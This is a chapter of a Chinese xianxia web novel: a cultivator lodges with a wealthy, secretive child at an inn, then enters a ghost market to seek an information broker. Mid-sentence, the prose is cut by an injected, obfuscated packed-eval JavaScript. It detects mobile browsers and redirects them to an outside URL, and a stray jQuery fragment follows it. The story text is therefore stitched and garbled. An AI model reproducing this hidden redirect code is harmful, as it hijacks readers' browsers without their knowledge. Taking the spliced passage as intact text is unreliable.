浣清溪的质问还没出口,就感觉到伤口火灼般的疼痛逐渐消退,一阵清凉携着细密的痒意漫了上来。
等应翟的手离开,狰狞的伤口已经止住了血,甚至隐隐有了结痂的趋势。
嘶,这败家孩子是拿了多贵的灵药给她用了。
浣清溪心疼得愁眉苦脸。
“姐姐,要尽快疗伤才是。”应翟眼神关切地看向浣清溪。
大约是确定自己不会被丢下了,刚才紧绷的表情已消失不见,应翟面上恢复了孩童该有的柔软可爱。
浣清溪还是第一次被个小孩子教训,尴尬道谢:“好,谢谢你的药。”
她将人放下,收手时顺便揉弄了下对方圆润的脑袋。
细软的发丝像一匹昂贵的绸缎,果然触感极好,她早先就开始觊觎了。
原来是天使小孩啊。
浣清溪在内心感慨到。
在浣清溪看不见的角度,应翟低垂着头,面无表情地盯了两秒沾染血腥的掌心,而后动作轻微地在衣袍上蹭了个干净。
樊川府距离聚窟洲六百多里,不算远也不算近。任劳任怨的邓林剑一路辛苦,终于三个时辰后,青灰色的城墙出现在两人一剑的视野里。
夕阳西斜,光线转淡。
入城时,街道两边的屋舍房檐下已挂起了明亮的灯笼,星星点点,一路延伸至长街尽头,耀耀如银河。
虽是临近夜晚,但路上依然不少热闹,上有人临窗啜饮,下有人高声叫卖,来往行人不绝。
“客官,里面请!”店家小二眼尖地发现来客,热情地将一大一小引入门。
站在柜台后的掌柜询问:“您要几间房?”
“两间。等等。”浣清溪低头看向及腰的乌黑头顶,迟疑地开口:“你能自己住的,对吧?”
应翟点点头,靠谱地表示不用担心。
浣清溪见他没有丝毫勉强的样子,转头继续回复掌柜:“两间普通房。”
“好嘞,一间人字号房一晚五十钱,费用可一次结清,也可每日缴纳。客官想怎么支付?”掌柜手速极快地在账簿上登记好,而后眉眼弯弯地看向二人,主要是看向其中唯一的成年人。
浣清溪这才想起来一件至关重要的事——她没有钱啊!
“邓林,你有钱没?”浣清溪背上冒出一层尴尬的冷汗,一时竟比被人追杀还慌张,在识海急切呼叫自己的本命剑。
“没有,我也没时间存私房呀。”邓林剑表示爱莫能助。
但总不好带着应翟一个小孩儿夜宿街头吧。
正在浣清溪想着要不要先厚着脸皮,和店家商量赊账一晚时,突然感觉到自己衣角被轻轻往下拉了几下。
“怎么了?再等一下。”浣清溪轻声安抚,以为是自己沉默时间长了,让应翟等得不耐烦了。
结果一低头,发现应翟不知怎么看出了她的窘迫,掏出个储物袋,从身后悄悄递到浣清溪的手上。
困境得到解救,得以免于被人大庭广众下赶出门,浣清溪顿时泪流满面。
真是姐姐的小天使啊!
浣清溪接过储物袋,将灵识探入其中,想要取出些银子,一进去却险些被一空间的奇珍异宝闪瞎眼。
储物袋内金光闪闪,灵气萦绕的仙器法宝被分门别类地摆放,令人目不暇接,而堆成小山的灵石积在角落,从其不显眼的位置可看出主人对它们的不在意。
浣清溪短暂地闭上了眼,一回望自己几十年一贫如洗的人生,这下是真要内流满面了。
究竟是谁抢走了她的富二代人生!
“客官?”掌柜见她许久不动作,迟疑地开口问询道。
在储物袋翻了半天,浣清溪也没找出块银钱,没法,最终只能掏出块灵石递给了掌柜。
掌柜捧着晶莹的灵石手足无措道:“客官,这也太多了,我们这儿一时找不开啊。”
一块灵石相当于百两银子了。
“没事,先存着,我们要多住几日。”浣清溪小心翼翼地收好储物袋。
待到小二将两人送至相邻的两间厢房前,浣清溪才想起什么,对人交代道:“送一份小孩的吃食到他那儿。”
说着,她手指点了点应翟。
虽说小孩儿一路上也没喊饿,而且他那储物袋里除了银子应有尽有,大约是吃过了辟谷丹。但这么小的年纪,也没到辟谷的时候,还是吃些接地气的食物比较好。
应翟推房门的手愣了下,没有反驳,即便他已经没有进食的需要了,凡间的食物于他而言,反而是徒增浊气。
但他现在的身份是“应翟”,一个百无一用、只能依靠祈求他人怜爱而活的孩童。
就如同许多年前的沈濯一样……
两人回到了各自的房间内,浣清溪等到外面走廊处没有动静时,捏了个小传送阵将自己送到了隔壁房内。
她出现时,应翟正坐在圆桌旁的椅子上,身前是热气腾腾的饭菜,大约是准备吃饭了,此时正眨巴着一双偏圆的眼,看着突然出现在房中的人。
浣清溪瞟了眼桌上,店家考虑到小孩子的口味,所以菜样大多是偏甜口的,还另外摆着碟小糕点。
“储物袋要收好,别随意拿出来,这世上的有我这样的好人,但坏人也多了去了。”浣清溪上前将储物袋搁在了应翟的手边,夸了自己的同时,将人严肃地教育了一番。
她发现这孩子实在没什么戒心,从一开始的极品灵药,到这价值不可估量的储物袋,但凡她生了一丝贪欲,应翟就该落得个人死财空的下场了。
“我知道您是好人。”应翟有些漫不经心地解释,夹起一块甜醋肉放入口中。
菜甫一入口,他咀嚼的动作停了瞬,但很快又恢复正常。
有些甜了,不是他的口味……
应翟将口里的菜吞入腹中,抬眼看向浣清溪,正好抓到她的眼神从桌上的糕点上移回来。
视线相碰,浣清溪掩饰着咳嗽了两下,而后借着呼噜头毛的动作,把应翟的头又按了下去。
小孩过于透亮的眼神着实让人受不住。
“我也不是什么好人。”浣清溪叹了口气,不放心地又交代了一遍:“不许再这样随意暴露自己的财物了!”
听到应翟乖巧地答应下来,她才放了心,离开的时候还顺了块儿她看了好几眼的糕点。
她以为只是一小块,应当不会太过明显。
房间内少了一人的气息,恢复了安静。筷子悬于空中半天,最终
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981499|177950||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落向了角落的糕点。
应翟看着那好似被鸟啄了而缺了一角的摆盘,筷子又被搁下了。
夜深人静,街巷里传来气息拖长的打更声,偶尔的,还能听见穿过木质隔板从楼上传来的呼噜声。
明亮的月光穿过窗棂,缓慢漫上一部分床榻。
浣清溪睁开不见一丝睡意的眼,坐直起身,对隔壁房间画下个守护阵法,随后自窗户翻身而出。
足尖轻巧地落在青石板路上,浣清溪拇指与其他手指交替轻碰几下,在心中算出了个方位,便朝着那处走去。
大约半盏茶的时间,浣清溪走进了个逼仄的死胡同,青苔斑斑的石墙拦住了前路。
正常人就该打道回府了,但浣清溪步履不停,抬脚竟直直往那墙上撞去。
邓林剑下意识闭上眼,惊呼还没出口,却发现行进的动作并未被阻拦,再一睁眼,遍地幽蓝色的鬼火闯入视野。
鬼市!
一脚踏入此界,轻微的失重感后,浣清溪落入了一艘摇摇晃晃的乌篷船内。
舱内除了她还有三人,分坐在三角,皆面具罩脸,辨不出身份,对于浣清溪但出现也没有任何反应。
浣清溪熟悉鬼市的规矩,方才进入的一瞬就幻化出了个简易的大头娃娃面具,将面容遮掩得严严实实。
她没有坐下,而是走出蓬来到船头。
要找的那人摆摊向来随心所欲,不一定在鬼市深处,所以她得一路观望着。
此处无月,仅靠两岸白惨惨的豆灯视物;也无人声,只有乌篷船体撞开深黑的水波泛出轻响。
各式各样的面具在暗色里若隐若现,保持着礼貌社交距离的小摊临河而设,简陋到只有一层布料来摆放商品。
鬼市是一处不同于凡间和魔界的单独空间,据说是千年前由一位大能,也就是最初的鬼市主人,一招劈开、专门用于进行灰色交易的地域。
即便后来大能突破失败而仙逝,此地界依旧被保留了下来。同时被保留的,还有那些相较于外面格外怪异的交易规则,比如入市须遮面、不交易不上岸、不交易不交谈等等。
如今的鬼市管理者的身份也无人可知,但鬼市内违反规定者必定会受到惩罚,无一幸免。
“小水,我们到这儿来干嘛?”邓林剑惴惴不安地问道。
倒不怪它不安,鬼市对于修仙者来说,虽是有正经用途,但因来往者人鬼不拘,其中鱼龙混杂,交易又多涉及灰色地带,世家长辈出于爱护,一般会尽量避免自家子弟进入其中,至少浣清溪入魔前是从未接触过此地的。
“来见个熟人,买些东西。”浣清溪一面留意两侧移动的小摊,一面回答。
“可我们也没钱啊。”邓林剑提醒道。
“不用钱。”浣清溪让它宽心,“用别的换。”
谈话间,一处角落吸引了浣清溪的目光。
那摊主不像其他人盘腿而坐,而是特意备了个低矮的躺椅,正悠悠闲闲地躺在上面晃悠,张开的折扇遮住了面具留以视物的孔洞,扇面上是“四方来财”四个潦草的大字。
除此特殊,他前方也没有摆放任何商品,只一块破旧的木板,上书简单的三句话——“万不知,无事不知,价由我定”。